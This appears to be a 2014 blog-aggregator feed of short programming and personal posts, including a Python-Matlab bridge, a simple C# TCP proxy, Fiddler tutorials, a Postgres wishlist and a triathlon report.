Speaking of the Mercedes-Benz Unimog, a modified version of the versatile chassis has been making the rounds lately in the form of a vehicle its creator, Bran Ferren, dubbed the “KiraVan” after his four-year-old daughter, Kira. For those of you more inclined towards this vehicular monster’s technical specifications, Gear Junkie has a nice rundown; for everyone else — for everyone, actually, because it explains the projects origins and the reasons behind Bran’s unwavering dedication to this costly endeavor, Wired has a fantastic article aptly titled “The Most Insane Truck Ever Built and the 4-Year-Old Who Commands It” that I recommend everyone read. This is an incredible story, and a very admirable one as well.

Permalink.

Transplant

bastibe.de — Tue, 19 Aug 2014 03:00:00 GMT

In academia, a lot of programming is done in Matlab. Many very interesting algorithms are only available in Matlab. Personally, I prefer to use tools that are more widely applicable, and less proprietary, than Matlab. My weapon of choice at the moment is Python.

But I still need to use Matlab code. There are a few ways of interacting with Matlab out there already. Most of them focus on being able to eval strings in Matlab. Boring. The most interesting one is mlab, a full-fledget bridge between Python and Matlab! Had I found this earlier, I would probably not have written my own.

But write my own I did: Transplant. Transplant is a very simple bridge for calling Matlab functions from Python. Here is how you start Matlab from Python:

import transplant
matlab = transplant.Matlab()

This matlab object starts a Matlab interpreter in the background and connects to it. You can call Matlab functions on it!

matlab.eye(3)
>>> array([[ 1.,  0.,  0.],
           [ 0.,  1.,  0.],
           [ 0.,  0.,  1.]])

As you can see, Matlab matrices are converted to Numpy matrices. In contrast to most other Python/Matlab bridges, matrix types are preserved¹:

matlab.randi(255, 1, 4, 'uint8')
>>> array([[246,    2, 198, 209]], dtype=uint8)

All matrix data is actually transferred in binary, so both Matlab and Python work on bit-identical data. This is very important if you are working with precise data! Most other bridges do some amount of type conversion at this point.

This alone accounts for a large percentage of Matlab code out there. But not every Matlab function can be called this easily from Python: Matlab functions behave differently depending the number of output arguments! To emulate this in Python, every function has a keyword argument nargout ². For example, the Matlab function max by default returns both the maximum value and the index of that value. If given nargout=1 it will only return the maximum value:

data = matlab.randn(1, 4)
matlab.max(data)
>>> [1.5326, 3] # Matlab: x, n = max(...)
matlab.max(data, nargout=1)
>>> 1.5326      # Matlab: x = max(...)

If no nargout is given, functions behave according to nargout(@function). If even that fails, they return the content of ans after their execution.

Calling Matlab functions is the most important feature of Transplant. But there is a more:

You can save/retrieve variables in the global workspace:

matlab.value = 5 # Matlab: value = 5
  x = matlab.value # Matlab: x = value

You van eval some code:

matlab.eval('class(value)')
  >>> ans =
  >>>
  >>> double
  >>>

The help text for functions is automatically assigned as docstring. In IPython, this means that matlab.magic? displays the same thing help magic would display in Matlab.

Under the hood, Transplant is using a very simple messaging protocol based on 0MQ, JSON, and some base64-encoded binary data. Sadly, Matlab can deal with none of these technologies by itself. Transplant therefore contains a full-featured JSON parser/serializer and base64 encoder/decoder in pure Matlab. It also contains a minimal mex-file for interfacing with 0MQ.

There are a few JSON parsers available for Matlab, but virtually all of them try parse JSON arrays as matrices. This means that these parsers have no way of differentiating between a list of vectors and a matrix (want to call a function with three vectors or a matrix? No can do). Transplant's JSON parser parses JSON arrays as cell arrays and JSON objects as structs. While somewhat less convenient in general, this is a much better fit for transferring data structures between programming languages.

Similarly, there are a few base64 encoders available. Most of them actually use Matlab's built-in Java interface to encode/decode base64 strings. I tried this, but it has two downsides: Firstly, it is pretty slow for short strings since the data has to be copied over to the Java side and then back. Secondly, it is limited by the Java heap space. I was not able to reliably encode/decode more than about 64 Mb using this³. My base64 encoder/decoder is written in pure Matlab, and works for arbitrarily large data.

All of this has been about Matlab, but my actual goal is bigger: I want transplant to become a library for interacting between more than just Python and Matlab. In particular, Julia and PyPy would be very interesting targets. Also, it would be useful to reverse roles and call Python from Matlab as well! But that will be in the future.

For now, head over to Github.com/bastibe/transplant and have fun! Also, if you find any bugs or have any suggestions, please open an issue on Github!

Except for integer complex numbers, since those are not supported by Numpy.↩
Like the Matlab function nargout↩
At 192 Mb of Java heap space. And even those 64 Mb were pretty unreliable if I didn't call java.lang.Runtime.getRuntime.gc all the time.↩

Sexy girls

Databases & Life — Tue, 19 Aug 2014 03:00:00 GMT

One of the main project my company works on is analyzing mobile phone bills for companies – a company gives out mobile phones to all its employees, then they get a huge bill every month, often delivered by post and printed on (perhaps literally) many reams of paper.

We analyze all such files electronically. That’s what we do.

I was analyzing a new file format the other day, using live data from one customer. One service used by an employee is called “sexy girls”. Great stuff. I’m going to go out on a limb here, and assert that was some non-work-related stuff.

Getting to Know Fiddler: Part IV: Simulate responses by engaging Fiddler's AutoResponders

Joshua Rogers — Mon, 18 Aug 2014 15:00:00 GMT

Last week we figured out how to use Fiddler's breakpoints to let us edit traffic at will. While it is a powerful tool, if we are making the same edits each time, it can become as tedious as it is useful. And with that rather painful segue, we get to the AutoResponder. Fiddler's AutoResponder is represented by yet another tab hiding away in our detail view. When enabled, it can, among other things, automatically return a response for a given request.

Mercedes-Benz Unimog Doppelkabine

Zac Szewczyk — Mon, 18 Aug 2014 11:09:48 GMT

No really, that’s what it’s called: shortly after World War II, Erhard and Sons began manufacturing Albert Friedrich’s vehicle for primarily agricultural use in post-war Germany until Mercedes-Benz took over the production process in the early 1950s. Since then, the Unimog has fostered quite the fanatical fan base, not unlike that of its counterparts across the world, the American Jeep, British Land Rover, or Japanese Land Cruiser. And looking at it, and seeing just what this family can really do, it’s no surprise: this is one remarkably capable vehicle any outdoor enthusiast would be truly fortunate to have in their arsenal.

Permalink.

An encoding for newline you've never heard of

Databases & Life — Mon, 18 Aug 2014 03:00:00 GMT

A file recently turned up from an external partner. Our software was having problems parsing it. I opened it up in TextPad (text editor for Windows) and everything looked fine. Obviously I consider our software to be perfect so I was a little perplexed as how this file could be causing problems…

It turned out there were newline issues. Opening the file in a hex editor revealed the file used \n\n\r for newlines, i.e. 3 bytes.

State Ageism and Cryptocurrencies

Gosha Spark — Mon, 18 Aug 2014 03:00:00 GMT

This Week in Podcasts

Zac Szewczyk — Mon, 18 Aug 2014 00:21:34 GMT

I have decided to publish this a day early this week, as I leave for Canada in just a few hours and waiting any longer would make this impossible. Until I return on the sixteenth, then, enjoy this final installment of my ongoing series, This Week in Podcasts. I look forward to coming home and finding a host of shows awaiting my arrival almost as much as I anticipate writing this piece’s successor.

Permalink.

Cabin Porn Roundup

Zac Szewczyk — Mon, 18 Aug 2014 00:21:14 GMT

Once again, I’m back with some stellar cabins from around the world. This time, however, unlike past articles in this series and upon request by Gianfranco Lanzio, I have bundled images alongside the appropriate paragraphs in an effort at more easily conveying the beauty of these structures and their accompanying sceneries. I hope you all like the result just as much as I do, and maybe — just maybe — even more.

Permalink.

ASCII Bell Character

Varun Ramesh's Blog — Sun, 17 Aug 2014 13:05:00 GMT

The other day, I accidentally printed a ton of binary data to my terminal. Upon doing so, my computer started to beep incessantly.

maybeComma

blog — Sun, 17 Aug 2014 05:42:59 GMT

I once made a small invention: the simplest way to join values in 
a collection using comma as a separator:

    result = '';
    maybeComma = '';
    for (val : collection) {
      result += maybeComma + val;
      maybeComma = ',';
    }

If collection = [1, 2, 3], then result = '1,2,3'.

I invented this almost 10 year ago, and it was useful many times. There are 
environments, like shell scripts, where there is no Arrays.toString method. 
And even C++, at the times when I programmed on this language, didn't have any
such "join" function in the standard library (that's why I needed to invent it; 
BTW, it's interesting, does C++ have join today... quick googling makes 
impression it doesn't...).

I never saw more simple implementation. All the implementations I saw have 
an IF inside the loop:
  
    result = '';
    for (i = 0; i < collection.length; i++) {
      if (i > 0) {
         result += ',';
      }
      result += collection[i];
    }

Here we also needed to change the "for each" construct to a "for by variable i", 
to determine if we are at the first iteration or not.

The maybeComma solution does not depend on the iteration construct at all.
Therefore it is easier to adopt. For example joining two collections.
In the maybeComma approach we just copy/paste the loop without rethinking
the logic, it always works the same:

    result = '';
    maybeComma = '';
    for (val : collectionA) {
      result += maybeComma + val;
      maybeComma = ',';
    }
    for (val : collectionB) {
      result += maybeComma + val;
      maybeComma = ',';
    }

In the IF approach we again need to change the control constructs by 
introducing a boolean flag:

    result = '';
    oneDone = false;
    for (i = 0; i < collectionA.length; i++) {
      if (oneDone) {
         result += ',';
      }
      result += collectionA[i];
      oneDone = true;
    }
    for (i = 0; i < collectionB.length; i++) {
      if (oneDone) {
         result += ',';
      }
      result += collectionB[i];
      oneDone = true;
    }

As far as I remember this understanding of how to avoid logic by switching to 
different data values came to me from ThinkingForth - the idea of how to use
the maybeComma variable to avoid the IF in the solution was a result of conscious 
attempt to apply what is taught in this book.

Why Read?

Martin Rue — Sun, 17 Aug 2014 02:00:00 GMT

It seems like a stupid question – obviously, we read in order to process written material until we understand it.

Screenshot Saturday 185

Evan Todd — Sat, 16 Aug 2014 14:58:19 GMT

Hello friends. Yesterday I finished the 5th level! It took much longer than anticipated because it's actually 10 separate maps connected together. It includes some simple but hopefully interesting puzzle mechanics.

It also advances the story through notes and several text conversations scattered throughout.

It's hard to see in screenshots, but I added a subtle cloud shadow effect as well. It doesn't respond to the actual clouds, so in a sense it's slightly faked. Because of that I was able to do the projection easily with a ray-plane intersection rather than a full matrix multiplication. Here's the shader code, edited for clarity:

My wishlist for Postgres 9.5

CRAIG KERSTIENS — Fri, 15 Aug 2014 23:55:56 GMT

As I followed along with the 9.4 release of Postgres I had a few posts of things that I was excited about, some things that missed, and a bit of a wrap-up. I thought this year (year in the sense of PG releases) I’d jump the gun and lay out areas I’d love to see addressed in PostgreSQL 9.5. And here it goes:

Upsert

Merge/Upsert/Insert or Update whatever you want to call it this is still a huge wart that it doesn’t exist. There’s been a few implementations show up on mailing lists, and to the best of my understanding there’s been debate on if it’s performant enough or that some people would prefer another implementation or I don’t know what other excuse. The short is this really needs to happen, until that time you can always implement it with a CTE which can have a race condition.

Foreign Data Wrappers

There’s so much opportunity here, and this has easily been my favorite feature of the past 2-3 years in Postgres. Really any improvement is good here, but a hit list of a few valuable things:

Pushdown of conditions
Ability to accept a DSN to a utility function to create foreign user and tables.
Better security around creds of foreign tables
More out of the box FDWs

Stats/Analytics

Today there’s madlib for machine learning, and 9.4 got support for ordered set aggregates, but even still Postgres needs to keep moving forward here. PL-R and PL-Python can help a good bit as well, but having more out of the box functions for stats can continue to keep it at the front of the pack for a database that’s not only safe for your data, but powerful to do analysis with.

Multi-master

This is definitely more of a dream than not. Full multi-master replication would be amazing, and it’s getting closer to possible. The sad truth is even once it lands it will probably require a year of maturing, so even more reason for it to hopefully hit in 9.5

Logical Replication

The foundation made it in for 9.4 which is huge. This means we’ll probably see a good working out of the box logical replication in 9.5. For those less familiar this means the replication is SQL based vs. the binary WAL stream. This means things like using replication to upgrade across versions is possible. So not quite 0 downtime, but ~ a minute or two to upgrade versions. Even of large DBs.

An official GUI

Alright this one is probably a pipe dream. And to kick it off, no pgAdmin doesn’t cut it. A good end user tool for connecting/querying would be huge. Fortunately the ecosystem is improving here with JackDB (web based) and PG Commander (mac app), but these still aren’t discoverable enough for most users.

What do you want?

So there’s my wishlist, what’s yours for 9.5? Let me know - @craigkerstiens.

MySQL on Mac for TechEmpower benchmarks

Rich Dougherty — Fri, 15 Aug 2014 05:26:00 GMT

2014-08-15

ho.dges.online — Fri, 15 Aug 2014 03:00:00 GMT

A simple TCP proxy forwarder in .NET

Allan's Blog — Thu, 14 Aug 2014 03:34:53 GMT

Here's a way of doing a super simple TCP proxy in C#.

Warning: this should only be used for testing purposes, as it will leak threads.

using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;

class Program
{
    static void ProxyStream(string stream1name, NetworkStream stream1, string stream2name, NetworkStream stream2)
    {
        var buffer = new byte[65536];

        try
        {
            while (true)
            {
                var len = stream1.Read(buffer, 0, 65536);
                stream2.Write(buffer, 0, len);
            }
        }
        catch (Exception)
        {
            Console.WriteLine("Stream from " + stream1name + " to " + stream2name + " closed");
        }
    }

    static void Main(string[] args)
    {
        if (args.Length != 3)
        {
            Console.WriteLine("Usage: program.exe localport remoteServerHost remoteServerPort");
            Console.WriteLine("Example: program.exe 13389 10.1.2.3 3389");
            return;
        }

        var localPort = int.Parse(args[0]);
        var remoteServerHost = args[1];
        var remoteServerPort = int.Parse(args[2]);

        var l = new TcpListener(IPAddress.Any, localPort);
        l.Start();
        while (true)
        {
            var client1 = l.AcceptTcpClient();
            var remoteAddress = (client1.Client.RemoteEndPoint as IPEndPoint).Address.ToString();
            Console.WriteLine("Accepted session from " + remoteAddress);
            var client2 = new TcpClient(remoteServerHost, remoteServerPort);
            Console.WriteLine("Created connection to " + remoteServerHost + ":" + remoteServerPort);

            new Thread(() => { ProxyStream(remoteAddress, client1.GetStream(), remoteServerHost, client2.GetStream()); }).Start();
            new Thread(() => { ProxyStream(remoteServerHost, client2.GetStream(), remoteAddress, client1.GetStream()); }).Start();
        }
    }
}

Or, if you need this from PowerShell, I would suggest wrapping it (as threads in PowerShell are painful):

$source = '
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;

class Program
{
    static void ProxyStream(string stream1name, NetworkStream stream1, string stream2name, NetworkStream stream2)
    {
        var buffer = new byte[65536];

        try
        {
            while (true)
            {
                var len = stream1.Read(buffer, 0, 65536);
                stream2.Write(buffer, 0, len);
            }
        }
        catch (Exception)
        {
            Console.WriteLine("Stream from " + stream1name + " to " + stream2name + " closed");
        }
    }

    static void Main(string[] args)
    {
        if (args.Length != 3)
        {
            Console.WriteLine("Usage: program.exe localport remoteServerHost remoteServerPort");
            Console.WriteLine("Example: program.exe 13389 10.1.2.3 3389");
            return;
        }

        var localPort = int.Parse(args[0]);
        var remoteServerHost = args[1];
        var remoteServerPort = int.Parse(args[2]);

        var l = new TcpListener(IPAddress.Any, localPort);
        l.Start();
        while (true)
        {
            var client1 = l.AcceptTcpClient();
            var remoteAddress = (client1.Client.RemoteEndPoint as IPEndPoint).Address.ToString();
            Console.WriteLine("Accepted session from " + remoteAddress);
            var client2 = new TcpClient(remoteServerHost, remoteServerPort);
            Console.WriteLine("Created connection to " + remoteServerHost + ":" + remoteServerPort);

            new Thread(() => { ProxyStream(remoteAddress, client1.GetStream(), remoteServerHost, client2.GetStream()); }).Start();
            new Thread(() => { ProxyStream(remoteServerHost, client2.GetStream(), remoteAddress, client1.GetStream()); }).Start();
        }
    }
}

'
Add-Type `
    -TypeDefinition $source `
    -Language CSharp `
    -OutputAssembly 'c:\windows\temp\tcpproxy.exe' `
    -OutputType 'ConsoleApplication'

Living a public life as a privacy advocate

Nemo's Home — Thu, 14 Aug 2014 03:00:00 GMT

If you’ve known me for a while, you might know me as a privacy conscious individual or perhaps as someone who leads a very public life. The truth is that I lead both these lives; and while that may sound oxymoronic to some, its perfectly clear to me.

I’m a huge privacy advocate. I still remember the day I woke up and read about PRISM first thing in the morning. My reaction was a mix of disbelief, anger, and frustration. In the aftermath of the PRISM reveal, I made a few choices: I would retain ownership of my data, and I’ll do whatever I can to promote tools that help you do this.

I’m still working on both fronts, but the reality of the situation is that we are surrounded by walled gardens. I decided to make the best I could of these gardens. I remember reading a weird suggestion: only post public stuff on facebook; and I was somehow convinced to try it out.

But I took the experiment a step further. If the service is something I can’t control myself (say self-hosted), everything I do with it should be for public-viewing. Since then, I’ve rarely posted anything private on facebook.

Other services where I follow the same advice include:

Goodreads - Whatever I read is public information, along with real-time updates of my reading habits.
Last.FM - All my music tastes, along with real-time upates on what I’m listening to.
Facebook - All of my posts on facebook are public. I do have some private messaging interactions on facebook (I never initiate them) and usually move them to email if they grow important.
Twitter - Tiny byte-sized thoughts and observations are again, public. My account is set to public, which doesn’t mean that I trust twitter with my data. It just means that I expect my data to be public.
GitHub - One of the few companies I trust to keep my data safe. Barring a few exceptions, everything I do on github is public, ready for anyone to analyze and use as public data. In fact, github makes all of its timeline data available to public as a dataset on bigquery.
Bookmarks - Most of my bookmarks are public via xmarks. I haven’t synced it in a while since XMarks and Chrome Sync don’t work well together, but plan to do something about this as well.

Along with all this, most of the writing I do these days is for public consumption, either via my Blog, or some platform like Quora, StackExchange, or Medium.

Why

My reasoning behind keeping all of my online life public is twofold:

This creates a public archive of my life, accessible to everyone.
It doesn’t give me an illusion of privacy when there is none.

In reference to (1) above, I recently setup Google Inactive Accounts, and have to commend Google on the execution of the concept. Be sure to check it out at https://www.google.com/settings/account/inactive.

Disadvantages

This lifestyle choice is not without its comebacks. Stalking me, for example, is very easy. So is probably impersonating me as well. However, these are risks I’m willing to take in order to lead a public life.

Exceptions

By now you might be thinking of me as a pro-facebook share-everything kind of guy. But that’s not completely true. I do have clear limits on what counts as public and what does not. I value my privacy (and that of those close to me) very dearly.

For instance, I count my photographs as something very private. I almost never post public updates anywhere with my picture in it. Perhaps its because I never had any phone with decent camera. Whatever the reason, I try really hard to keep my pictures off the internet.

Another related issue is when the update would involve someone beside me. For example, my sister was recently engaged and I didn’t go on a social update spree telling the whole world about it, because I value her privacy.

My simple rule of thumb is to ask for permission, rather than beg for forgiveness as a person’s privacy is far more important.

When to ship it, when to kill it

CRAIG KERSTIENS — Wed, 13 Aug 2014 23:55:56 GMT

A few weeks ago at lunch I had the opportunity to catch up with a company in the current YC batch, building something very similar to dataclips. While we talked about a lot of things from what we’ve learned from dataclips, marketing, and other areas. One area we talked about was product and when to ship vs. when to kill things and I realized I hadn’t talked on my fairly simple but clear view on this publicly, so here it is.

A large credit to Adam Wiggins for giving this model early on in Heroku and his approach to shipping product.

A precursor to shipping

First a little background on shipping, in shipping something I’m going to assume you have some process of alpha/beta testing with users. This is actually fairly key, if you’re not testing it with users then well the rest of this is all moot. Alpha and beta testing is pretty simple, you need some early users. These can be friends, people within a network, or random users you select from. There’s different value to how you select these but that’s a topic for another time and place.

On to shipping

So how do you know it’s ready. The basic idea is super simple. Give it to some users in alpha/beta testing. Or start to roll it out following a one -> some -> many all principle (maybe to 5% or 10% of your userbase). Then take that brand new feature away.

There’s a couple of ways to do this as far as mechanics. If you’re in contact with users such as alpha/beta users that you were higher touch with just email them. Tell them you’re removing the feature, or if you want to approach it more softly ask them how much they’d miss it if it were gone tomorrow. If you’re rolling it out more broadly perhaps behind a feature flag, flip it off and watch for feedback.

Once you take the feature away or threaten to if you don’t have users with pitchforks almost immediately then it’s not ready to ship.

Go back to the drawing board and work more on it or simply kill it. As @james_heroku would say: “So you’re saying the reason to ship the shitty thing now is becase you’ve spent a lot of time on it?”. Stepping back it’s all logical, but all too often it’s not put in practice when shipping it.

Your metrics can lie

Relying on just seeing a user spend some time on the new feature can often be misleading vs. the above approach. There’s a great talk by Des Traynor over at intercom.io that hits on this in part, the basic premise in there is that users shifting time from feature X to Y doesn’t mean it was a success it just means they’re spending time on something different. In launching new things you want to increase the overall value of your product, not simply shift users focus to the new flavor of the week.

Fletcher Richman: Managing Director of Spark Boulder

Sam Solomon — Wed, 13 Aug 2014 03:00:00 GMT

What happens to an entrepreneur after consecutive startup failures?

Errors Are Usually Bad! A Cautionary Tale

The David Brownman Blog — Wed, 13 Aug 2014 03:00:00 GMT

undefined

Read the whole thing.

USA's Digital Playbook

Dan Stroot — Tue, 12 Aug 2014 03:00:00 GMT

The White House announced on Monday, August 11th 2014, that it is formally launching a new U.S. Digital Service and that it has hired Mikey Dickerson to lead it. Mickey Dickerson is an engineer widely credited with playing a central role in salvaging HealthCare.gov. The idea behind the USDS is institutionalizing the approach that saved the US health care website.

This post USA's Digital Playbook first appeared on Dan Stroot's Blog

Interesting Code Comment

Ben E. C. Boyter — Tue, 12 Aug 2014 01:58:54 GMT

Found the following comment in some code I had modified a few years ago.

Just to set this up, its an existing application I had no hand in creating, and is a totally atrocity of 180,000 lines of untested code (and pretty much un-testable) which through the abuse of extension methods lives in a single class spread out across multiple files.

/*
This is evil but necessary. For some reason people have put validation rules here rather then in the bloody ValidationHelper. Thanks to their incompetence or genius... we now have no idea if we add the extra validation in the correct place and call it here if it will work. Since this is also 180,000 lines of non tested nor testable code (without refactoring) I have no confidence in making any changes. Sure we have subversion but that dosnt allow us to code fearlessly ripping apart methods and refactoring since we have no test safety net.

I guess the obligatory car analogy would be driving down the highway, carrying nuclear waste, in an open container, in a snow storm, with acid/lsd/ice fueled drugie ninja bikies attacking you, while on fire, while juggling chainsaws, and all of a sudden you need to change the tyre. So much is going on that its you dont want to risk it and then when forced to do so
you know its going to end up badly.

If you are still reading this then for the love of all things holy, help by refacting stuff so we can test it properly. The DAO layer should be fairly simple but everthing else is a shambles.

Rant time over. Lets commit sin by adding more validation.
*/

Pathfinder: two heroes are born

Liza Shulyayeva — Tue, 12 Aug 2014 00:54:49 GMT

It was a chilly summer evening when Valeros the valiant fighter and Merisiel the super cool rogue walked through the gates of a tiny abandoned farmhouse. They were heroes, you see, and here to rescue the people of the land from a gang of notorious thieving wanderers - the Sczarni - who have been terrorizing Sandpoint under the leadership of a punk named Jubrayl Vhiski.

Getting to Know Fiddler: Part III: Use breakpoints to edit live requests

Joshua Rogers — Mon, 11 Aug 2014 15:00:00 GMT

One of the great things about using an API is that it implies that I can use functionality that I don't have to write myself. I can write an app that live tweets driving directions between two random Yelp reviews without ever having to directly know how the tweeting or directing is taking place. As long as I stick to the API, I can pretty much accept that the API's functionality should usually “just work”.

The People's Triathlon 2014

Caius Theory — Mon, 11 Aug 2014 13:00:00 GMT

My first Olympic distance triathlon, and the first time I’ve ever run 10km to boot.

1500m Open Water (Freshwater Lake) Swim: 00:38:08

Equally happy and upset with my swim. Basically everything went well except my wetsuit, must get a proper swimming one (possibly sleeveless) before my next wetsuit event. Having to get out at the end of each lap and run down the bank to re-enter the water was a bit strange but not too bad. Worst bit of that was diving back in and forgetting to look down - goggles bruised the edge of my eyesocket!

Transition 1: 00:03:53

Took this at a sedate pace, didn’t rush but didn’t dawdle either. Perhaps could’ve gone a bit quicker but not unhappy with it. Found bike OK this time, although chain fell off as I went to mount which was slightly annoying.

40km Cycle: 01:28:49

Started off really badly, managed to knock my watch from cycle into Transition 2 before I’d gotten out the car park. Had to reset it quickly into just bike mode from multisport mode which wasn’t too bad to be fair, just annoying. Having done the route in training was a big help on the day, I was aiming for about the time I did it in. Didn’t push too hard on the two hills (one of which looks deceptively easy). Very happy with my time and more importantly how little effort it was comparatively.

Transition 2: 00:01:28

Quicker than T1, as normal. Got my shit on quickly, didn’t forget anything and even managed to get my watch in run mode whilst jogging to the exit of the transition area.

10km Run: 01:18:40

The bit I was dreading the most. Very very happy with my performance here though. Walked about 90 seconds of the whole thing and kept plodding away the rest of the time. Given the furthest I’d run solidly in training was about 5.5km, I was exceptionally happy to just keep plodding the whole time. Managed to not take on liquid for the third lap, which lead to some impressive cramping in my right quad, so making sure I take liquid on is a definite thing to watch out for in future. And amazingly I wasn’t even tail end charlie (not that it really matters, given I race the clock, not other people. But still.)

Total: 03:30:51

There’s a tiny part of me that’s gutted I didn’t manage it in under 3:30 hours, but what’s 51 seconds over that period of time. More importantly, I completed the bloody thing! Especially happy with the run, enjoyed the cycle even if it was trying to drown us (there was 6" deep standing water on one of the roundabouts by the end), and mostly happy with my swim.

Looking forward to returning next year and beating 3:30!

What exactly happened to Brightball for hire?

Brightball Articles — Mon, 11 Aug 2014 04:24:00 GMT

It's been about four years since we last took on a new project as a company. Work continued for existing clients for a long time after that, but the company itself was basically dead from that point. I was on vacation with my family last week and somewhat reflecting on exactly how I got there after ending up in a hospital bed in the middle of the night four years ago trying to keep it going. Here's how it happened. NOTE: I still personally consult through Brightball.

The Amazing Spider-Man 2

🦉 olshansky 🦁 — Sun, 10 Aug 2014 18:33:16 GMT

Olshansky's review of The Amazing Spider-Man 2

simple library publishing with Gradle

zserge's blog — Sun, 10 Aug 2014 03:00:00 GMT

So, you switched to Gradle and just finished you new shiny Android library (or java library). And of course you want to share it with the community. Here’s a quick guide for those who never published their libraries before. What is maven central? In java world libraries are usually stored in a big repository called Maven Central. You may think of it as of the NPM repository for Node.js or as of PyPI for Python.

Screenshot Saturday 184

Evan Todd — Sat, 09 Aug 2014 03:26:06 GMT

This week was a lot of level design. I'm working on a group of "fractured" but interconnected worlds that the player has to progress through.

Here's a screenshot:

Here's the thread where I got that rock texture. It's a gold mine with a bunch of totally free diffuse, specular, normal, and even displacement maps.

Unfortunately that's all I have time to talk about today. Thanks for reading!

Consumer Centric API Design

Thomas Hunter II — Sat, 09 Aug 2014 03:00:00 GMT

2014-08-09

ho.dges.online — Sat, 09 Aug 2014 03:00:00 GMT

Wolfling runs

Liza Shulyayeva — Fri, 08 Aug 2014 15:10:37 GMT

Wolfling run: “a method of playing the Creatures games in which the players do not intervene in the lives of their norns.” Creatures wiki.

2014-08-08/01

ho.dges.online — Fri, 08 Aug 2014 03:00:00 GMT

2014-08-08/02

ho.dges.online — Fri, 08 Aug 2014 03:00:00 GMT

2014-08-07

ho.dges.online — Thu, 07 Aug 2014 03:00:00 GMT

[8.5.14] Chibi Atomic Jeep: Powerwheels Racing

transistor-man.com — Wed, 06 Aug 2014 11:38:38 GMT

At the last moment a group of mitersians decided to build an entry for the Detroit makerfaire powerwheels racing series

Simple Reloading Server in Bash

Varun Ramesh's Blog — Wed, 06 Aug 2014 10:16:00 GMT

A snippet for a reloading server in bash.

A tilemap in PyQt for a bigger game project

Erico Notes — Wed, 06 Aug 2014 05:53:57 GMT

I wanted to get back into game development, as a hobby, for some time now. I have some idea of what I want: a simple 2d rpg game, like Pokemon in Game Boy. So for starts, I needed a way to draw tilemaps, a good editor, something I could customize for my needs.

But I really couldn't find anything as easy to use as I wanted so I decided to write my own. I opted to use Python and PyQt - and I don't know much about any of them, so I had a slow start. I'm reading about PyQt for two days in all my free time.

Until now I just have a window showing a hardcoded tilemap on screen. I'm sharing it, even unfinished, since I had a really hard time figuring out the steps to do this.

Since python cares about identation, I'm sharing a link: http://pastebin.com/d1FGDCJf

 #!/usr/bin/env python  
 # display a tiled image from tileset with PyQt  
 import sys  
 from PIL import Image  
 from PIL.ImageQt import ImageQt  
 from PyQt4 import QtGui, QtCore  
 from PyQt4.QtGui import QImage  
 from numpy import ndarray  
 # Simple background, will use open from a file in future  
 background =   [[12, 2,12, 2, 1, 2, 3, 3, 1, 1],  
      [ 1, 1, 7, 8, 5, 6, 7, 8,12, 3],  
      [ 1, 3, 1, 3,12,10,10, 1,12,12],  
      [ 2,12, 0, 4,10, 3,12, 2,12,12],  
      [12,12, 1, 1,10, 3,12, 2,12, 1],  
      [12,12,12, 0,10, 2, 1,12, 1,12],  
      [ 3,12, 3,12, 0, 2, 2,12,12, 3],  
      [ 1,12, 1,12, 1, 1,12,12, 3,12],  
      [ 3,12, 0,12,12,12,12,12, 3, 3],  
      [12, 3, 1, 2, 3,12,12,12, 1,12]]  
 # This will have the tileset  
 tileset = []   
 # last time I was writing this save function!  
 def save():  
   f = open( "map.txt" , "wb" )  
   f.write( "background :   [" )  
   for i in range(len(background) ):  
         f.write( "[" )  
     for j in range(len(background[0])):  
       f.write( str(background[j][i]) )  
       f.write( "," ) if j != len(background[0])-1 else (f.write( "]," ) if i != len(background)-1 else f.write( "]" ))  
     f.write( "\n" ) if i != len(background)-1 else f.write( "]" )  
   f.close()  
 class MyImage(QtGui.QWidget):  
   def __init__(self, parent, width, height):  
     QtGui.QWidget.__init__(self, parent)  
     BOX_SIZE = 32  
     image_file = Image.open("simpletile.png")  
     self.setWindowTitle("View tiled background")  
     # get tileset file and split it in images that can be pointed through array  
     if image_file.size[0] % BOX_SIZE == 0 and image_file.size[1] % BOX_SIZE ==0 :  
       currentx = 0  
       currenty = 0  
       tilei = 0  
       while currenty < image_file.size[1]:  
         while currentx < image_file.size[0]:  
           print currentx,",",currenty  
           tileset.append( image_file.crop((currentx,currenty,currentx + BOX_SIZE, currenty + BOX_SIZE)) )  
           tilei += 1  
           currentx += BOX_SIZE  
         currenty += BOX_SIZE  
         currentx = 0  
     # get the background numbers and use to get the tiles    
     for i in range(len(background) ):  
       for j in range(len(background[0])):  
         image = ImageQt( tileset[ background[j][i] ] )  
         pixmap = QtGui.QPixmap.fromImage(image)  
         image = QtGui.QPixmap(pixmap)  
         label = QtGui.QLabel(self)  
         label.setGeometry(i*BOX_SIZE+10, j*BOX_SIZE+10, BOX_SIZE, BOX_SIZE)  
         label.setPixmap(image)  
 save()  
 app = QtGui.QApplication(sys.argv)  
 width = 320  
 height = 320  
 w = MyImage(None, width, height)  
 w.setGeometry(100, 100, width+20, height+20)  
 w.show()  
 app.exec_()

On snail eggs

Liza Shulyayeva — Wed, 06 Aug 2014 02:42:48 GMT

Even though I’ve had a functional breeding system in Gastropoda for a while, it still isn’t actually done. Most common snails do not give birth to live young…and definitely not to one live young. Initially it was good to just have the snails pop out one live baby snail so that I could properly observe and test the genetics and other attributes generated for the newborn. Now, however, with that being well on track, it is time to implement…egg laying.

Component System using Objective-C Message Forwarding

Whacky Labs — Tue, 05 Aug 2014 20:58:54 GMT

Ever since I started playing around with the Unity3D, I wanted to build one of my games with component system. And, since I use Objective-C most of the time, so why not use it.

First let me elaborate on my intention. I wanted a component system where I’ve a GameObject that can have one or more components plugged in. To illustrate the main problems with the traditional Actor based model lets assume we’re developing a platformer game. We have these three Actor types:

Ninja: A ninja is an actor that a user can control with external inputs.
Background: Background is something like a static image.
HiddenBonus: Hidden bonus is a invisible actor that a ninja can hit.

Source: Swim Ninja Source: Swim Ninja Let’s take a look at all the components inside these actors.

Ninja = RenderComponent + PhysicsComponent
Background = RenderComponent
HiddenBonus = PhysicsComponent.

Here RenderComponent is responsible for just drawing some content on the screen, while the PhysicsComponent is responsible for just doing physics updates like, collision detection.

So, in a nutshell from our game loop we need to call things like

- (void)loopUpdate:(int)dt
{
    [ninja update:dt];
    [bonus update:dt];
}

- (void)loopRender
{
    [background render];
    [ninja render];
}

Now, in the traditional Actor model, if we have an Actor class with both RenderComponent and PhysicsComponent like:

@interface Actor : NSObject

- (void)render;
- (void)update:(int)dt;

@end

Then it would inevitably add a PhysicsComponent to Background actor and a RenderComponent to a HiddenBonus actor.

